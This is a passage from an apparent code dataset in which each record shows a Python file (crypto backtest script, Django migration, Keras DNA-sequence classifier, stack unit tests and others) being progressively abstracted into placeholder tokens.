xinke_and_laoke_YJJ('xinke')\n xinke_and_laoke_YJJ('laoke')\n", "<import token>\n<code token>\n<assignment token>\n\n\ndef xinke_and_laoke_baoguang(people_type):\n if people_type == 'xinke':\n namess = '新客'\n jbc = 3\n elif people_type == 'laoke':\n namess = '老客'\n jbc = 1\n xx.cp()\n xx.qll(34, tb, tb)\n xx.zszw([1, 99], ts, te, jbc)\n xx.sp(namess + '--全部曝光')\n for i in range(1, 9, 1):\n xx.cp()\n xx.qll(34, tb, tb)\n xx.zszw([i, i], ts, te, jbc)\n xx.zszw([1, 99], ts, te, 3)\n xx.sp(namess + '--全部曝光X%s' % i)\n\n\ndef xinke_and_laoke_YJJ(people_type):\n if people_type == 'xinke':\n namess = '新客'\n jbc = 3\n elif people_type == 'laoke':\n namess = '老客'\n jbc = 1\n for i in range(1, 9, 1):\n xx.cp()\n xx.qll(1, te, te)\n xx.dp(5, ts, te, jbc=2)\n xx.qll(34, tb, tb, jbc=1)\n xx.zszw([i, i], ts, te, jbc)\n xx.sp(namess + '--曝光%s次' % i + '【G')\n\n\n<code token>\n", "<import token>\n<code token>\n<assignment token>\n\n\ndef xinke_and_laoke_baoguang(people_type):\n if people_type == 'xinke':\n namess = '新客'\n jbc = 3\n elif people_type == 'laoke':\n namess = '老客'\n jbc = 1\n xx.cp()\n xx.qll(34, tb, tb)\n xx.zszw([1, 99], ts, te, jbc)\n xx.sp(namess + '--全部曝光')\n for i in range(1, 9, 1):\n xx.cp()\n xx.qll(34, tb, tb)\n xx.zszw([i, i], ts, te, jbc)\n xx.zszw([1, 99], ts, te, 3)\n xx.sp(namess + '--全部曝光X%s' % i)\n\n\n<function token>\n<code token>\n", "<import token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<code token>\n" ]

[ "#from runner import trade_buySell_Binance\nfrom backtest import back_test_buy, optimal_distribution_ma, optimal_distribution_dpo, optimal_distribution_vi\nimport pandas as pd\nfrom binance_API import current_position, market_price_order, get_1min_ohlc_df_binance\nfrom bitmex_API import current_postion_bitmex,bitmex_quote,market_price_order_bitmex\nfrom runner import trade_buySell_Bitmex\nfrom math import floor\n\n#trade_buySell_Bitmex('XBTUSD', 'BTCUSDT', 297)\n\"\"\"position = current_postion_bitmex('XBTUSD')\nprint(position)\"\"\"\n#bitmex_quote(\"XBTUSD\")\n#current_postion_bitmex('XBTUSD')\n#df = get_1min_ohlc_df_binance('BTCUSDT', 21)\n#df.to_csv('Testdata.csv')\n\ndf = pd.read_csv('Testdata.csv')\nback_test_buy(df)\n\n#output = optimal_distribution_vi(df)\n#print(output)\n#back_test_buy(df)\n\n\n\n\n\n\"\"\"df = pd.read_csv('BTCUSDT_1min_ohlc_data.csv')\n\nprint(df.head())\nprint(df.tail())\ndf = df.iloc[-600:]\nprint(df.size)\nprint(df.head())\nprint(df.tail())\"\"\"\n\n\"\"\"df = get_1min_ohlc_df_binance('BTCUSDT', 1)\n\ndf['close'] = pd.to_numeric(df['close'])\ndf['high'] = pd.to_numeric(df['high'])\ndf['low'] = pd.to_numeric(df['low'])\ndf['open'] = pd.to_numeric(df['open'])\n\nprint(df.head())\nprint(df.tail())\n\nback_test_buy(df)\"\"\"\n\n#back_test_buy(df)venv\\\n", "from backtest import back_test_buy, optimal_distribution_ma, optimal_distribution_dpo, optimal_distribution_vi\nimport pandas as pd\nfrom binance_API import current_position, market_price_order, get_1min_ohlc_df_binance\nfrom bitmex_API import current_postion_bitmex, bitmex_quote, market_price_order_bitmex\nfrom runner import trade_buySell_Bitmex\nfrom math import floor\n<docstring token>\ndf = pd.read_csv('Testdata.csv')\nback_test_buy(df)\n<docstring token>\n", "<import token>\n<docstring token>\ndf = pd.read_csv('Testdata.csv')\nback_test_buy(df)\n<docstring token>\n", "<import token>\n<docstring token>\n<assignment token>\nback_test_buy(df)\n<docstring token>\n", "<import token>\n<docstring token>\n<assignment token>\n<code token>\n<docstring token>\n" ]

[ "# Generated by Django 3.1.7 on 2021-03-19 08:17\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('inno_user', '0021_auto_20210318_1617'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='profile',\n name='p_html',\n field=models.BooleanField(default=False),\n ),\n migrations.AlterField(\n model_name='profile',\n name='p_image',\n field=models.ImageField(upload_to='inno_user/profile/'),\n ),\n ]\n", "from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('inno_user', '0021_auto_20210318_1617')]\n operations = [migrations.AddField(model_name='profile', name='p_html',\n field=models.BooleanField(default=False)), migrations.AlterField(\n model_name='profile', name='p_image', field=models.ImageField(\n upload_to='inno_user/profile/'))]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('inno_user', '0021_auto_20210318_1617')]\n operations = [migrations.AddField(model_name='profile', name='p_html',\n field=models.BooleanField(default=False)), migrations.AlterField(\n model_name='profile', name='p_image', field=models.ImageField(\n upload_to='inno_user/profile/'))]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n <assignment token>\n <assignment token>\n", "<import token>\n<class token>\n" ]

[ "import pandas as pd \nimport numpy as np \nimport matplotlib.pyplot as plt\nfrom sklearn.cross_validation import KFold,StratifiedKFold\nfrom sklearn.linear_model import LogisticRegression\nfrom keras.models import Sequential\nfrom keras.layers import Dense,Activation,Dropout\nfrom keras.callbacks import EarlyStopping\nfrom keras.utils import to_categorical\nfrom keras.metrics import binary_accuracy\nimport keras\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nimport datetime\n\n\n\ndef training_vis(hist):\n loss = hist.history['loss']\n val_loss = hist.history['val_loss']\n acc = hist.history['acc']\n val_acc = hist.history['val_acc']\n\n # make a figure\n fig = plt.figure(figsize=(8,4))\n # plot loss\n ax1 = fig.add_subplot(121)\n ax1.plot(loss,label='train_loss')\n ax1.plot(val_loss,label='val_loss')\n ax1.set_xlabel('Epochs')\n ax1.set_ylabel('Loss')\n ax1.set_title('Loss on Training and Validation Data')\n ax1.legend()\n # plot acc\n ax2 = fig.add_subplot(122)\n ax2.plot(acc,label='train_acc')\n ax2.plot(val_acc,label='val_acc')\n ax2.set_xlabel('Epochs')\n ax2.set_ylabel('Accuracy')\n ax2.set_title('Accuracy on Training and Validation Data')\n ax2.legend()\n plt.tight_layout()\n plt.show()\n\n###neural network model\ndef nn_model(train_x,train_y,test_x):\n\tmodel = Sequential()\n\tmodel.add(Dense(28,input_shape = (train_x.shape[-1],),activation = 'relu'))\n\tmodel.add(Dropout(0.4))\n\tmodel.add(Dense(4,activation = 'relu'))\n\tmodel.add(Dense(2,activation='sigmoid'))\n\n\tmodel.summary()\n\tearlystop = EarlyStopping(monitor = 'loss',patience = 3)\n\tmodel.compile(optimizer = 'adam',loss = 'categorical_crossentropy',metrics = ['accuracy'])\n\n\thist = model.fit(train_x,train_y,\n\t\t# validation_data = (val_x,val_y),\n\t\tvalidation_split = 0.1,\n\t\tbatch_size = 8,\n\t\tcallbacks = [earlystop],\n\t\tepochs = 200)\n\t# visualize the procedure\n\ttraining_vis(hist)\n\ty_pre = model.predict(test_x)\n\ty_pre = np.argmax(y_pre,1)\n\t# print(y_pre[:3])\n\treturn y_pre\n\n\ndef main():\n\ttrain_dir = \"../data/train.csv\"\n\ttest_dir = \"../data/test.csv\"\n\tdf_train = pd.read_csv(train_dir)\n\tdf_test = pd.read_csv(test_dir)\n\tsub = pd.DataFrame()\n\tsub['id'] = df_test['id']\n\tdf = pd.concat([df_train.iloc[:,1:-1],df_test.iloc[:,1:]])\n\ty = df_train['label']\n\ttrian_row = df_train.shape[0]\n\tprint('columns ',df.columns)\n\tprint(\"df head\")\n\tprint(df.head())\n\tgene_map = {\"A\":0,\"T\":1,\"C\":2,\"G\":3}\n\tdf['sequence'] = df['sequence'].map(list)\n\tdf['sequence'] = df['sequence'].map(lambda x : [gene_map[i] for i in x])\n\tfor i in range(14):\n\t\tdf['sequence' + str(i)] = list(map(lambda x:x[i],df['sequence']))\n\tdel df['sequence']\n\tprint(\"after pre \")\n\tprint(df.head())\n\ttrain = df.iloc[:trian_row:,:]\n\ttest = df.iloc[trian_row:,:]\n\ty = to_categorical(y,2)\n\tprint('train shape is',train.shape)\n\tprint('test shape is',test.shape)\n\tsub[\"prediction\"] = nn_model(train,y,test)\n\tsub['prediction'] = [1 if i > 0.5 else 0 for i in sub['prediction']]\n\tsub_name = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n\tsub.to_csv(\"../result/\" + sub_name +\".csv\",index = None)\n\tprint(sub.head())\n\n\nif __name__ == '__main__':\n\tmain()", "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.cross_validation import KFold, StratifiedKFold\nfrom sklearn.linear_model import LogisticRegression\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation, Dropout\nfrom keras.callbacks import EarlyStopping\nfrom keras.utils import to_categorical\nfrom keras.metrics import binary_accuracy\nimport keras\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nimport datetime\n\n\ndef training_vis(hist):\n loss = hist.history['loss']\n val_loss = hist.history['val_loss']\n acc = hist.history['acc']\n val_acc = hist.history['val_acc']\n fig = plt.figure(figsize=(8, 4))\n ax1 = fig.add_subplot(121)\n ax1.plot(loss, label='train_loss')\n ax1.plot(val_loss, label='val_loss')\n ax1.set_xlabel('Epochs')\n ax1.set_ylabel('Loss')\n ax1.set_title('Loss on Training and Validation Data')\n ax1.legend()\n ax2 = fig.add_subplot(122)\n ax2.plot(acc, label='train_acc')\n ax2.plot(val_acc, label='val_acc')\n ax2.set_xlabel('Epochs')\n ax2.set_ylabel('Accuracy')\n ax2.set_title('Accuracy on Training and Validation Data')\n ax2.legend()\n plt.tight_layout()\n plt.show()\n\n\ndef nn_model(train_x, train_y, test_x):\n model = Sequential()\n model.add(Dense(28, input_shape=(train_x.shape[-1],), activation='relu'))\n model.add(Dropout(0.4))\n model.add(Dense(4, activation='relu'))\n model.add(Dense(2, activation='sigmoid'))\n model.summary()\n earlystop = EarlyStopping(monitor='loss', patience=3)\n model.compile(optimizer='adam', loss='categorical_crossentropy',\n metrics=['accuracy'])\n hist = model.fit(train_x, train_y, validation_split=0.1, batch_size=8,\n callbacks=[earlystop], epochs=200)\n training_vis(hist)\n y_pre = model.predict(test_x)\n y_pre = np.argmax(y_pre, 1)\n return y_pre\n\n\ndef main():\n train_dir = '../data/train.csv'\n test_dir = '../data/test.csv'\n df_train = pd.read_csv(train_dir)\n df_test = pd.read_csv(test_dir)\n sub = pd.DataFrame()\n sub['id'] = df_test['id']\n df = pd.concat([df_train.iloc[:, 1:-1], df_test.iloc[:, 1:]])\n y = df_train['label']\n trian_row = df_train.shape[0]\n print('columns ', df.columns)\n print('df head')\n print(df.head())\n gene_map = {'A': 0, 'T': 1, 'C': 2, 'G': 3}\n df['sequence'] = df['sequence'].map(list)\n df['sequence'] = df['sequence'].map(lambda x: [gene_map[i] for i in x])\n for i in range(14):\n df['sequence' + str(i)] = list(map(lambda x: x[i], df['sequence']))\n del df['sequence']\n print('after pre ')\n print(df.head())\n train = df.iloc[:trian_row, :]\n test = df.iloc[trian_row:, :]\n y = to_categorical(y, 2)\n print('train shape is', train.shape)\n print('test shape is', test.shape)\n sub['prediction'] = nn_model(train, y, test)\n sub['prediction'] = [(1 if i > 0.5 else 0) for i in sub['prediction']]\n sub_name = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n sub.to_csv('../result/' + sub_name + '.csv', index=None)\n print(sub.head())\n\n\nif __name__ == '__main__':\n main()\n", "<import token>\n\n\ndef training_vis(hist):\n loss = hist.history['loss']\n val_loss = hist.history['val_loss']\n acc = hist.history['acc']\n val_acc = hist.history['val_acc']\n fig = plt.figure(figsize=(8, 4))\n ax1 = fig.add_subplot(121)\n ax1.plot(loss, label='train_loss')\n ax1.plot(val_loss, label='val_loss')\n ax1.set_xlabel('Epochs')\n ax1.set_ylabel('Loss')\n ax1.set_title('Loss on Training and Validation Data')\n ax1.legend()\n ax2 = fig.add_subplot(122)\n ax2.plot(acc, label='train_acc')\n ax2.plot(val_acc, label='val_acc')\n ax2.set_xlabel('Epochs')\n ax2.set_ylabel('Accuracy')\n ax2.set_title('Accuracy on Training and Validation Data')\n ax2.legend()\n plt.tight_layout()\n plt.show()\n\n\ndef nn_model(train_x, train_y, test_x):\n model = Sequential()\n model.add(Dense(28, input_shape=(train_x.shape[-1],), activation='relu'))\n model.add(Dropout(0.4))\n model.add(Dense(4, activation='relu'))\n model.add(Dense(2, activation='sigmoid'))\n model.summary()\n earlystop = EarlyStopping(monitor='loss', patience=3)\n model.compile(optimizer='adam', loss='categorical_crossentropy',\n metrics=['accuracy'])\n hist = model.fit(train_x, train_y, validation_split=0.1, batch_size=8,\n callbacks=[earlystop], epochs=200)\n training_vis(hist)\n y_pre = model.predict(test_x)\n y_pre = np.argmax(y_pre, 1)\n return y_pre\n\n\ndef main():\n train_dir = '../data/train.csv'\n test_dir = '../data/test.csv'\n df_train = pd.read_csv(train_dir)\n df_test = pd.read_csv(test_dir)\n sub = pd.DataFrame()\n sub['id'] = df_test['id']\n df = pd.concat([df_train.iloc[:, 1:-1], df_test.iloc[:, 1:]])\n y = df_train['label']\n trian_row = df_train.shape[0]\n print('columns ', df.columns)\n print('df head')\n print(df.head())\n gene_map = {'A': 0, 'T': 1, 'C': 2, 'G': 3}\n df['sequence'] = df['sequence'].map(list)\n df['sequence'] = df['sequence'].map(lambda x: [gene_map[i] for i in x])\n for i in range(14):\n df['sequence' + str(i)] = list(map(lambda x: x[i], df['sequence']))\n del df['sequence']\n print('after pre ')\n print(df.head())\n train = df.iloc[:trian_row, :]\n test = df.iloc[trian_row:, :]\n y = to_categorical(y, 2)\n print('train shape is', train.shape)\n print('test shape is', test.shape)\n sub['prediction'] = nn_model(train, y, test)\n sub['prediction'] = [(1 if i > 0.5 else 0) for i in sub['prediction']]\n sub_name = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n sub.to_csv('../result/' + sub_name + '.csv', index=None)\n print(sub.head())\n\n\nif __name__ == '__main__':\n main()\n", "<import token>\n\n\ndef training_vis(hist):\n loss = hist.history['loss']\n val_loss = hist.history['val_loss']\n acc = hist.history['acc']\n val_acc = hist.history['val_acc']\n fig = plt.figure(figsize=(8, 4))\n ax1 = fig.add_subplot(121)\n ax1.plot(loss, label='train_loss')\n ax1.plot(val_loss, label='val_loss')\n ax1.set_xlabel('Epochs')\n ax1.set_ylabel('Loss')\n ax1.set_title('Loss on Training and Validation Data')\n ax1.legend()\n ax2 = fig.add_subplot(122)\n ax2.plot(acc, label='train_acc')\n ax2.plot(val_acc, label='val_acc')\n ax2.set_xlabel('Epochs')\n ax2.set_ylabel('Accuracy')\n ax2.set_title('Accuracy on Training and Validation Data')\n ax2.legend()\n plt.tight_layout()\n plt.show()\n\n\ndef nn_model(train_x, train_y, test_x):\n model = Sequential()\n model.add(Dense(28, input_shape=(train_x.shape[-1],), activation='relu'))\n model.add(Dropout(0.4))\n model.add(Dense(4, activation='relu'))\n model.add(Dense(2, activation='sigmoid'))\n model.summary()\n earlystop = EarlyStopping(monitor='loss', patience=3)\n model.compile(optimizer='adam', loss='categorical_crossentropy',\n metrics=['accuracy'])\n hist = model.fit(train_x, train_y, validation_split=0.1, batch_size=8,\n callbacks=[earlystop], epochs=200)\n training_vis(hist)\n y_pre = model.predict(test_x)\n y_pre = np.argmax(y_pre, 1)\n return y_pre\n\n\ndef main():\n train_dir = '../data/train.csv'\n test_dir = '../data/test.csv'\n df_train = pd.read_csv(train_dir)\n df_test = pd.read_csv(test_dir)\n sub = pd.DataFrame()\n sub['id'] = df_test['id']\n df = pd.concat([df_train.iloc[:, 1:-1], df_test.iloc[:, 1:]])\n y = df_train['label']\n trian_row = df_train.shape[0]\n print('columns ', df.columns)\n print('df head')\n print(df.head())\n gene_map = {'A': 0, 'T': 1, 'C': 2, 'G': 3}\n df['sequence'] = df['sequence'].map(list)\n df['sequence'] = df['sequence'].map(lambda x: [gene_map[i] for i in x])\n for i in range(14):\n df['sequence' + str(i)] = list(map(lambda x: x[i], df['sequence']))\n del df['sequence']\n print('after pre ')\n print(df.head())\n train = df.iloc[:trian_row, :]\n test = df.iloc[trian_row:, :]\n y = to_categorical(y, 2)\n print('train shape is', train.shape)\n print('test shape is', test.shape)\n sub['prediction'] = nn_model(train, y, test)\n sub['prediction'] = [(1 if i > 0.5 else 0) for i in sub['prediction']]\n sub_name = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n sub.to_csv('../result/' + sub_name + '.csv', index=None)\n print(sub.head())\n\n\n<code token>\n", "<import token>\n\n\ndef training_vis(hist):\n loss = hist.history['loss']\n val_loss = hist.history['val_loss']\n acc = hist.history['acc']\n val_acc = hist.history['val_acc']\n fig = plt.figure(figsize=(8, 4))\n ax1 = fig.add_subplot(121)\n ax1.plot(loss, label='train_loss')\n ax1.plot(val_loss, label='val_loss')\n ax1.set_xlabel('Epochs')\n ax1.set_ylabel('Loss')\n ax1.set_title('Loss on Training and Validation Data')\n ax1.legend()\n ax2 = fig.add_subplot(122)\n ax2.plot(acc, label='train_acc')\n ax2.plot(val_acc, label='val_acc')\n ax2.set_xlabel('Epochs')\n ax2.set_ylabel('Accuracy')\n ax2.set_title('Accuracy on Training and Validation Data')\n ax2.legend()\n plt.tight_layout()\n plt.show()\n\n\ndef nn_model(train_x, train_y, test_x):\n model = Sequential()\n model.add(Dense(28, input_shape=(train_x.shape[-1],), activation='relu'))\n model.add(Dropout(0.4))\n model.add(Dense(4, activation='relu'))\n model.add(Dense(2, activation='sigmoid'))\n model.summary()\n earlystop = EarlyStopping(monitor='loss', patience=3)\n model.compile(optimizer='adam', loss='categorical_crossentropy',\n metrics=['accuracy'])\n hist = model.fit(train_x, train_y, validation_split=0.1, batch_size=8,\n callbacks=[earlystop], epochs=200)\n training_vis(hist)\n y_pre = model.predict(test_x)\n y_pre = np.argmax(y_pre, 1)\n return y_pre\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef nn_model(train_x, train_y, test_x):\n model = Sequential()\n model.add(Dense(28, input_shape=(train_x.shape[-1],), activation='relu'))\n model.add(Dropout(0.4))\n model.add(Dense(4, activation='relu'))\n model.add(Dense(2, activation='sigmoid'))\n model.summary()\n earlystop = EarlyStopping(monitor='loss', patience=3)\n model.compile(optimizer='adam', loss='categorical_crossentropy',\n metrics=['accuracy'])\n hist = model.fit(train_x, train_y, validation_split=0.1, batch_size=8,\n callbacks=[earlystop], epochs=200)\n training_vis(hist)\n y_pre = model.predict(test_x)\n y_pre = np.argmax(y_pre, 1)\n return y_pre\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]

[ "ii = [('CoopJBT2.py', 15), ('RoscTTI3.py', 1), ('GodwWLN.py', 1), ('CoopJBT.py', 18), ('RoscTTI.py', 1), ('HogaGMM2.py', 2)]", "ii = [('CoopJBT2.py', 15), ('RoscTTI3.py', 1), ('GodwWLN.py', 1), (\n 'CoopJBT.py', 18), ('RoscTTI.py', 1), ('HogaGMM2.py', 2)]\n", "<assignment token>\n" ]

[ "import unittest\n\n# Use the imports below to test either your array-based stack\n# or your link-based version\n#from stack_array import Stack\nfrom stack_linked import Stack\n\nclass TestLab2(unittest.TestCase):\n def test_simple(self):\n stack = Stack(5)\n stack.push(0)\n self.assertFalse(stack.is_empty())\n self.assertFalse(stack.is_full())\n self.assertEqual(stack.size(),1)\n \n def test_simple_2(self):\n #checks that the pop and isEmpty method are working\n stack = Stack(7)\n stack.push(3)\n self.assertFalse(stack.is_empty())\n stack.pop()\n self.assertTrue(stack.is_empty())\n\n def test_simple_3(self):\n #checks the is_full method for working\n stack = Stack(1)\n stack.push(4)\n self.assertTrue(stack.is_full)\n \n\n def test_simple_4(self):\n #checks the peek method\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.peek()\n\n stack = Stack(7)\n stack.push(4)\n stack.push(3)\n self.assertEqual(stack.peek(), 3)\n stack.pop()\n self.assertEqual(stack.peek(), 4)\n \n def test_simple_5(self):\n #testing of the push method\n stack = Stack(2)\n stack.push(3)\n stack.push(2)\n with self.assertRaises(IndexError):\n stack.push(4)\n\n def test_simple_6(self):\n #testing of the pop method\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.pop()\n \n def test_simple_7(self):\n #testing of none\n stack = Stack(None)\n with self.assertRaises(IndexError):\n stack.push('hello')\n \n def test_simple_8(self):\n stack = Stack(0)\n self.assertTrue(stack.is_full)\n \n\n \n\n\nif __name__ == '__main__': \n unittest.main()\n", "import unittest\nfrom stack_linked import Stack\n\n\nclass TestLab2(unittest.TestCase):\n\n def test_simple(self):\n stack = Stack(5)\n stack.push(0)\n self.assertFalse(stack.is_empty())\n self.assertFalse(stack.is_full())\n self.assertEqual(stack.size(), 1)\n\n def test_simple_2(self):\n stack = Stack(7)\n stack.push(3)\n self.assertFalse(stack.is_empty())\n stack.pop()\n self.assertTrue(stack.is_empty())\n\n def test_simple_3(self):\n stack = Stack(1)\n stack.push(4)\n self.assertTrue(stack.is_full)\n\n def test_simple_4(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.peek()\n stack = Stack(7)\n stack.push(4)\n stack.push(3)\n self.assertEqual(stack.peek(), 3)\n stack.pop()\n self.assertEqual(stack.peek(), 4)\n\n def test_simple_5(self):\n stack = Stack(2)\n stack.push(3)\n stack.push(2)\n with self.assertRaises(IndexError):\n stack.push(4)\n\n def test_simple_6(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.pop()\n\n def test_simple_7(self):\n stack = Stack(None)\n with self.assertRaises(IndexError):\n stack.push('hello')\n\n def test_simple_8(self):\n stack = Stack(0)\n self.assertTrue(stack.is_full)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "<import token>\n\n\nclass TestLab2(unittest.TestCase):\n\n def test_simple(self):\n stack = Stack(5)\n stack.push(0)\n self.assertFalse(stack.is_empty())\n self.assertFalse(stack.is_full())\n self.assertEqual(stack.size(), 1)\n\n def test_simple_2(self):\n stack = Stack(7)\n stack.push(3)\n self.assertFalse(stack.is_empty())\n stack.pop()\n self.assertTrue(stack.is_empty())\n\n def test_simple_3(self):\n stack = Stack(1)\n stack.push(4)\n self.assertTrue(stack.is_full)\n\n def test_simple_4(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.peek()\n stack = Stack(7)\n stack.push(4)\n stack.push(3)\n self.assertEqual(stack.peek(), 3)\n stack.pop()\n self.assertEqual(stack.peek(), 4)\n\n def test_simple_5(self):\n stack = Stack(2)\n stack.push(3)\n stack.push(2)\n with self.assertRaises(IndexError):\n stack.push(4)\n\n def test_simple_6(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.pop()\n\n def test_simple_7(self):\n stack = Stack(None)\n with self.assertRaises(IndexError):\n stack.push('hello')\n\n def test_simple_8(self):\n stack = Stack(0)\n self.assertTrue(stack.is_full)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "<import token>\n\n\nclass TestLab2(unittest.TestCase):\n\n def test_simple(self):\n stack = Stack(5)\n stack.push(0)\n self.assertFalse(stack.is_empty())\n self.assertFalse(stack.is_full())\n self.assertEqual(stack.size(), 1)\n\n def test_simple_2(self):\n stack = Stack(7)\n stack.push(3)\n self.assertFalse(stack.is_empty())\n stack.pop()\n self.assertTrue(stack.is_empty())\n\n def test_simple_3(self):\n stack = Stack(1)\n stack.push(4)\n self.assertTrue(stack.is_full)\n\n def test_simple_4(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.peek()\n stack = Stack(7)\n stack.push(4)\n stack.push(3)\n self.assertEqual(stack.peek(), 3)\n stack.pop()\n self.assertEqual(stack.peek(), 4)\n\n def test_simple_5(self):\n stack = Stack(2)\n stack.push(3)\n stack.push(2)\n with self.assertRaises(IndexError):\n stack.push(4)\n\n def test_simple_6(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.pop()\n\n def test_simple_7(self):\n stack = Stack(None)\n with self.assertRaises(IndexError):\n stack.push('hello')\n\n def test_simple_8(self):\n stack = Stack(0)\n self.assertTrue(stack.is_full)\n\n\n<code token>\n", "<import token>\n\n\nclass TestLab2(unittest.TestCase):\n\n def test_simple(self):\n stack = Stack(5)\n stack.push(0)\n self.assertFalse(stack.is_empty())\n self.assertFalse(stack.is_full())\n self.assertEqual(stack.size(), 1)\n\n def test_simple_2(self):\n stack = Stack(7)\n stack.push(3)\n self.assertFalse(stack.is_empty())\n stack.pop()\n self.assertTrue(stack.is_empty())\n <function token>\n\n def test_simple_4(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.peek()\n stack = Stack(7)\n stack.push(4)\n stack.push(3)\n self.assertEqual(stack.peek(), 3)\n stack.pop()\n self.assertEqual(stack.peek(), 4)\n\n def test_simple_5(self):\n stack = Stack(2)\n stack.push(3)\n stack.push(2)\n with self.assertRaises(IndexError):\n stack.push(4)\n\n def test_simple_6(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.pop()\n\n def test_simple_7(self):\n stack = Stack(None)\n with self.assertRaises(IndexError):\n stack.push('hello')\n\n def test_simple_8(self):\n stack = Stack(0)\n self.assertTrue(stack.is_full)\n\n\n<code token>\n", "<import token>\n\n\nclass TestLab2(unittest.TestCase):\n <function token>\n\n def test_simple_2(self):\n stack = Stack(7)\n stack.push(3)\n self.assertFalse(stack.is_empty())\n stack.pop()\n self.assertTrue(stack.is_empty())\n <function token>\n\n def test_simple_4(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.peek()\n stack = Stack(7)\n stack.push(4)\n stack.push(3)\n self.assertEqual(stack.peek(), 3)\n stack.pop()\n self.assertEqual(stack.peek(), 4)\n\n def test_simple_5(self):\n stack = Stack(2)\n stack.push(3)\n stack.push(2)\n with self.assertRaises(IndexError):\n stack.push(4)\n\n def test_simple_6(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.pop()\n\n def test_simple_7(self):\n stack = Stack(None)\n with self.assertRaises(IndexError):\n stack.push('hello')\n\n def test_simple_8(self):\n stack = Stack(0)\n self.assertTrue(stack.is_full)\n\n\n<code token>\n", "<import token>\n\n\nclass TestLab2(unittest.TestCase):\n <function token>\n\n def test_simple_2(self):\n stack = Stack(7)\n stack.push(3)\n self.assertFalse(stack.is_empty())\n stack.pop()\n self.assertTrue(stack.is_empty())\n <function token>\n\n def test_simple_4(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.peek()\n stack = Stack(7)\n stack.push(4)\n stack.push(3)\n self.assertEqual(stack.peek(), 3)\n stack.pop()\n self.assertEqual(stack.peek(), 4)\n\n def test_simple_5(self):\n stack = Stack(2)\n stack.push(3)\n stack.push(2)\n with self.assertRaises(IndexError):\n stack.push(4)\n\n def test_simple_6(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.pop()\n <function token>\n\n def test_simple_8(self):\n stack = Stack(0)\n self.assertTrue(stack.is_full)\n\n\n<code token>\n", "<import token>\n\n\nclass TestLab2(unittest.TestCase):\n <function token>\n <function token>\n <function token>\n\n def test_simple_4(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.peek()\n stack = Stack(7)\n stack.push(4)\n stack.push(3)\n self.assertEqual(stack.peek(), 3)\n stack.pop()\n self.assertEqual(stack.peek(), 4)\n\n def test_simple_5(self):\n stack = Stack(2)\n stack.push(3)\n stack.push(2)\n with self.assertRaises(IndexError):\n stack.push(4)\n\n def test_simple_6(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.pop()\n <function token>\n\n def test_simple_8(self):\n stack = Stack(0)\n self.assertTrue(stack.is_full)\n\n\n<code token>\n", "<import token>\n\n\nclass TestLab2(unittest.TestCase):\n <function token>\n <function token>\n <function token>\n\n def test_simple_4(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.peek()\n stack = Stack(7)\n stack.push(4)\n stack.push(3)\n self.assertEqual(stack.peek(), 3)\n stack.pop()\n self.assertEqual(stack.peek(), 4)\n <function token>\n\n def test_simple_6(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.pop()\n <function token>\n\n def test_simple_8(self):\n stack = Stack(0)\n self.assertTrue(stack.is_full)\n\n\n<code token>\n", "<import token>\n\n\nclass TestLab2(unittest.TestCase):\n <function token>\n <function token>\n <function token>\n\n def test_simple_4(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.peek()\n stack = Stack(7)\n stack.push(4)\n stack.push(3)\n self.assertEqual(stack.peek(), 3)\n stack.pop()\n self.assertEqual(stack.peek(), 4)\n <function token>\n <function token>\n <function token>\n\n def test_simple_8(self):\n stack = Stack(0)\n self.assertTrue(stack.is_full)\n\n\n<code token>\n", "<import token>\n\n\nclass TestLab2(unittest.TestCase):\n <function token>\n <function token>\n <function token>\n\n def test_simple_4(self):\n stack = Stack(0)\n with self.assertRaises(IndexError):\n stack.peek()\n stack = Stack(7)\n stack.push(4)\n stack.push(3)\n self.assertEqual(stack.peek(), 3)\n stack.pop()\n self.assertEqual(stack.peek(), 4)\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<code token>\n", "<import token>\n\n\nclass TestLab2(unittest.TestCase):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<code token>\n", "<import token>\n<class token>\n<code token>\n" ]

